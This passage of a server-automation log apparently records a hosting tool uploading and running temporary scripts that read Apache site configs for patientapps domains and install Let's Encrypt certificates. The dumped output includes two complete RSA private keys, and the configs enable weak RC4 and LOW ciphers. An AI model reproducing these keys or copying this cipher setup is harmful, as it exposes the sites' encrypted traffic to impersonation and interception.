gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-13 06:00:46:
chmod 755 /tmp/pkp252342; /tmp/pkp252342; rm /tmp/pkp252342
2025-11-13 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 1664
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-13 06:00:46:
PUT: /tmp/pkp132306
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-13 06:00:46:
chmod 755 /tmp/pkp132306; /tmp/pkp132306; rm /tmp/pkp132306
2025-11-13 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt 5397
82:f8:b2:fc:27:54:e6:32:de:a8:4d:5a:05:aa:a2:a6
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBofKfo2qo6aGcHlCGsAg0Zs4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEzMDUwMjEyWhcNMjYwMjExMDUwMjExWjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEApouLxwgdeUYAxVjWkH0ns6t6nEvf0tHlEQ8ZljoZHOfXKbHTNvQV
NSXTTK6KejQXH9trAhmWt7H1KL/eU5lW2Q7Kqh3VvPgYCh6iqgDF4xJS504v7PGi
3a4K61kMyEGfr3I6LyAB/TGabS/Zpl+78uG1WrSAga6okTntBzRvEJpXApQR3PUx
BTMx1Bz5CN6dqf1fIEOwU25oqmthaoWwe7WG1qs5t5QSwzL7FrOtgW17WJMe83z4
W+3E+p9BdLvQteUcvX/ARoiZTk+xO9v1sCr7ISrexp7NtxLurvgKkIJP4PT2CoT1
Jflvzn3pF3BdMdGoL8OCb/6bW4iF3oLMUQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTdJHQlNU05mveWVtUCLHh/NgkeHDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGae81KpQAABAMARzBFAiBUOgfD8nZhyqWUGYMp
9MT6TdPETgiP3hiH3EoIkL+CmQIhAI+HlT9RVb49WfDWGXh8Y1d/+DhztYH0Y9zB
hL+xqpUeAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae81S
bAAABAMARzBFAiByd9VbbeMiwf5y+I8BybeHg41a+mVcawStaYcAMggybgIhAN56
fK+l3UMaX4P6gT8MvBjgwSllp7jjpxlLb5qbhYvJMA0GCSqGSIb3DQEBCwUAA4IB
AQAkpE7d2EkX/eVP45FXF4uWikksTvGU7oXRJ3VdcWNc3hFf9bEaRS0wT0KApgSi
+CHq4SHXh7uenaETtaf27O4zHDsc/iYv6dQTMHxTzK+ipCkYAOoSVnL1z5f9Az70
PXucShX4q+ADV/ui6leWIBOssnGkciDcRGljbozwULNjwoD5B/2VWe5basCDJhdr
GD2fx46vJwuPN48e3mvhUCQMX3nfn8TATBjEUy3kjhSOWtdLRqI+Yej+wui/HQ9U
YxkGwITzD5PQG6N9GOpm0BCh303aWYB7ALxfVG5tEh68HyUB34M26LLTyb2mUBk2
hubgTsqo3GBAZLHwPLtZ2GNa
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmi4vHCB15RgDF
WNaQfSezq3qcS9/S0eURDxmWOhkc59cpsdM29BU1JdNMrop6NBcf22sCGZa3sfUo
v95TmVbZDsqqHdW8+BgKHqKqAMXjElLnTi/s8aLdrgrrWQzIQZ+vcjovIAH9MZpt
L9mmX7vy4bVatICBrqiROe0HNG8QmlcClBHc9TEFMzHUHPkI3p2p/V8gQ7BTbmiq
a2FqhbB7tYbWqzm3lBLDMvsWs62BbXtYkx7zfPhb7cT6n0F0u9C15Ry9f8BGiJlO
T7E72/WwKvshKt7Gns23Eu6u+AqQgk/g9PYKhPUl+W/OfekXcF0x0agvw4Jv/ptb
iIXegsxRAgMBAAECggEBAJauHpK+ltwIJ95lGAu2EFuQQ+hxBVpaKOOcQ8wVWG88
mwDQMIbBowZo6JmyOPuDcYCTJmfJ+wDL80EhBuegDmFn7pinUaAc3rMZMJabCG7/
Px6jMN0xaeci9iIkeVoddXpo4JeOX/5SCKPM7SCH8SY4a7pbIQEzorNyMy+Xkvzz
EQsXCSkWAVYVfxe9rCIceuaGA6ctP1QMbEIIFNs+udlK5c5FUX/N3f/GYZnTPb4B
JEp8n+bF0ofuJVXFTEZ9g4b0IiEfu6qT2o41GvnXMmPXLzIkRmhith/DHeOXs99a
v9WHCwnOcqzMcRJ0QStnrYBW695i33xl8u5WT2z4pAECgYEA1ERQaib/xNJ9+y7M
tzg4QFovE465L/webQp7gUp8UkDt/7NdeFo2EU4oyTdgXlMAFAIkYn2cKgWMsK25
4tx0Fw7pitg+pAhi3PAh1jSky1t1g26pfFgqyfKWaGmtn7wSsZSnnJq6x2AQSrx3
Q2UrvueTFy85Ni12JiAuJKqunbECgYEAyNu1heDpl0k5ZFqQ8SPGmCeN8DA/Tl12
Kk/YtEEBr9jSSnjwsF/8gDYDA2O9Emc9zn4Apc4Tm7zdR14lVkEg79545r7hmsB8
N+zJXZ5wO4/O5tCIB/FuhUxVpJOEL/X9GvWe8D4Av+EmLVa8sM1na/3OXPZbPyWF
p4vgirAToKECgYBwtcF5TDH9YcORT51WIF0GFpzuppdAmn/RaIKB+Xof9ugpISWd
lVEmSTkw9t2N2EavWR/WyFnWmlHFMsoEYwilgb6SghZo5ScRp9RfuF5UuMCiRG1s
YCiASPaChLKzoZrPfl6tsh9BZIniFUbCm4LqAG7DHckkMmmM/wNhZtwHUQKBgHc1
bta2VezkGJvm5H85rHRBhYw4Flp8PdV+7i6NJmMnXCe2/6KuVT4C0GcCmwSBIb2c
KuY9GIYl4W6qAZ7fqJy0fSz1vRALja3jat+VWScAgtuaiCGuuNmEJJA4vQt6A24s
uNf89JTtG6ts/zAvuGHvkLq7vAwOSPTXn7ywI/YBAoGAEnysBFCBfl25c032jxog
WeNwg6uoY/CD6KvISwpTNtw9RgPaAC9neFSw7Xlg/WVoroDEmPE29Xu/oNi5ypdO
IgCcHNY4xEmUNjGvSFpysV9wm/THVcVop0x67Ngja132E+gvyl7JVVu6LTCyxEog
t2sUcdt+YdZmn700ih7ziRs=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-13 06:00:46: Establishing a connection
2025-11-13 06:00:47: Establishing a connection
2025-11-13 06:00:49:
PUT: /tmp/pkp284306
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-13 06:00:49:
chmod 755 /tmp/pkp284306; /tmp/pkp284306; rm /tmp/pkp284306
2025-11-13 06:00:50:
0
2025-11-13 06:00:50: Establishing a remote connection
2025-11-14 06:00:03: Establishing a connection
2025-11-14 06:00:03: Establishing a connection
2025-11-14 06:00:03:
PUT: /tmp/pkp753029
#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-14 06:00:05:
chmod 755 /tmp/pkp753029; /tmp/pkp753029; rm /tmp/pkp753029
2025-11-14 06:00:05:
0
2025-11-14 06:00:37: Establishing a connection
2025-11-14 06:00:38:
PUT: /tmp/pkp264120
#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt
cat > $temp_file <<'endmsg'
a5:1f:89:5e:40:b2:b8:12:61:64:2a:60:1a:4c:aa:b2
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBiIoZxXJlBRxbpnXxdUNUrAvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE0MDUwMjA1WhcNMjYwMjEyMDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJQOV4RMQLF/gqwUUE979lIiVeMFFuubPX7iD8DagIO+eorvkFBsip7BqyDRK2pu
uUbcEsCdft85HHNnXIS11yI+QhzkqOeK8UkfKWOqA122bCXb+5ArlCFSG5ou54Nc
1KbPLuSjYJufvFRkdsaG/03uVgPgGHO3hhMooUaHXos4kQ3Q7LoLrzEcObPKgNHI
dLkUwpbfDu5UxDjJRqf5ZmC+yGLXN5iUHj3qp5RAI5bwNvFPxvS4PRK2+j85t0FH
0Z/z4zD2cWsCwRt/YQ8FjnjVrjR7ctvJivFPF9ENyH8noiKYMOdMpef8bpwZHFv9
S8vBX4kahKXO5hypVd6nijECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUi6NlcQDclRiPQFaIAvuqw4i2RjEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzQ4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
moDziKAAAAQDAEcwRQIhAIiUSnTDaAeg3dfCObrdaQOISiOQdbYE+2qwsSWM1ma5
AiAYxyA7zqfQR6lQH3aT3pB+d+aRSaouI0jE4qxhF3mj1gB1AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmoDzkJ8AAAQDAEYwRAIgGKbrCiLgS7NR
zWA6WKjvMdqqY2ap0bX0dzEPgeH6VyACIFMPLTVFvr3FZNL8aCnT8i2rF7ngysO4
nX69ivDnLtywMA0GCSqGSIb3DQEBCwUAA4IBAQCNNSHMGfrbCTxk2XUtcg0fujp7
GdyFkPGI+Hpcy+4Z3Y/B93wRbwBU51Bp7NaO81ukfuCFaLTniJs6O9qPnZPAN7Lr
dcRSjdd+WB7h11dsBc3G5xkel2GJLSF9rdb43b3DHOnQiIJ3D54UO3yyfjPZST/T
Do2+athFou1NtR4nHrF+ViilKLirFUls/lQEK8DYCep9RHiDAGmsZi7IJLxJwHua
qPJuiLm/l/6WFOOrl1kGle64vbfxDDJcA/D8h+0WDnBgLB8ae6GrObnUxFcq9RW1
NaNh1aoFDu+ncACf5DICNGfy6Jz34zOAgYPyXUyNI0ASvMUuFhkHrWmPbb2V
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUDleETECxf4Ks
FFBPe/ZSIlXjBRbrmz1+4g/A2oCDvnqK75BQbIqewasg0StqbrlG3BLAnX7fORxz
Z1yEtdciPkIc5KjnivFJHyljqgNdtmwl2/uQK5QhUhuaLueDXNSmzy7ko2Cbn7xU
ZHbGhv9N7lYD4Bhzt4YTKKFGh16LOJEN0Oy6C68xHDmzyoDRyHS5FMKW3w7uVMQ4
yUan+WZgvshi1zeYlB496qeUQCOW8DbxT8b0uD0Stvo/ObdBR9Gf8+Mw9nFrAsEb
f2EPBY541a40e3LbyYrxTxfRDch/J6IimDDnTKXn/G6cGRxb/UvLwV+JGoSlzuYc
qVXep4oxAgMBAAECggEALUAM43RiuV0dVPaIbSKX8BZqZY4iqTOzIdp5shmV+a33
ygrZ8pqZ61eJs+f5+veITO3qFVCNfC/6UBMhJbZl4CNjFW2Vad7/S7focHt/t96P
QyruwetvxJdRtFftjiqLG8hqrpp4Zlf1uV1TJ+4OjYTwaRLOpl9K7QQX9nRdIvNZ
7mQiCFgr0xAIhIcH0ggOuwknaHhjpYo3NdwZ1AFLctMl2R5+nEr/Hd0m49cpTgGp
fNNLxN3funvDQAWjPJC1FwsJUtbzcJ1T8zONRbQ1F3fUH9IZFREp7vDMgwW3OL1s
en6Jlaps7WUKn5ZTajuFwtACgnB+2NhmcIq5jikIOQKBgQDFJOeQg+ujspWWFsqU
vLaJf3Btc0t8QaFOp55ruLs/Z7Ydinxu+AAIez9Ymm4AxQeMVaf1OpoR8insTnX4
/2R1+tALUELup2AcLpn/hVH1O+nIz1hXB/+/UK7eWx1vfFyE6JwVBIftXDEC5wbT
RdgskDZ65oixOoivSwCB1QvszwKBgQDAQcnjbS6wh7RSuqGld6mxuRgE2seJzj1a
1B9HnxErsz4vU+pQ3F9IO9P3q4zmgUzzh3o1q8hGEIfEP70h187WHTog25xmRLzJ
XpnDeV/Sp1KoveJmjgB1gkZbTn6LSO0lj4bUvsB+4ZsBuHwL/KxyDE66yOzB/pH2
ZD2fFojY/wKBgDNyuRfGxaT3wv/jPMTqJrzlTCLUFtv7iKwtJDO6hus6FpXJAUY4
ZFHSUCrASnra8GhYJjfiLjkGuJgZtcHgbIg5hzecn4sGlRdltfyv/z5/fzhPnB9C
UCTOWoRexOTGUKLCzZDSmOKBz6yRO//A13RxwjX6maueufL9IMnBHpaTAoGAS9Fm
AadME1fg+AMbvjpblHfPDhMNP74ymgAvObp0NgygyF9Kd4sAlGbrp69iiICTTTKv
Mj1FZMQeFnmgZ5lIu02ZX93bZsVSwgLplpnl/Rf5VAxWHWWArtaqUlW5N8qRow9f
98Ql+6OS0nHjkYKaqvtJjQWxwKtY+pb7aiKj4xcCgYBszkbBW7g8st3PFigUcGJP
cIrs9NGJgoFMfhlUCQ3gzUjdCTXH4TTUXvxJtujPefKO0yj8LVOckV2mdmfYhVU/
IhD/6z8hQ/PiCKcPNqs7y0NIBLnpRKaFmLVA1LOmAMKWL2Wf6I4Fj4naaLXWVsBU
6BeIEB8MU1RLgaNaHdFDqw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-14 06:00:38:
chmod 755 /tmp/pkp264120; /tmp/pkp264120; rm /tmp/pkp264120
2025-11-14 06:00:38:
dir=/etc/ssl/certs
2025-11-14 06:00:38:
PUT: /tmp/pkp889000
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-14 06:00:38:
chmod 755 /tmp/pkp889000; /tmp/pkp889000; rm /tmp/pkp889000
2025-11-14 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-14 06:00:38:
PUT: /tmp/pkp608699
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
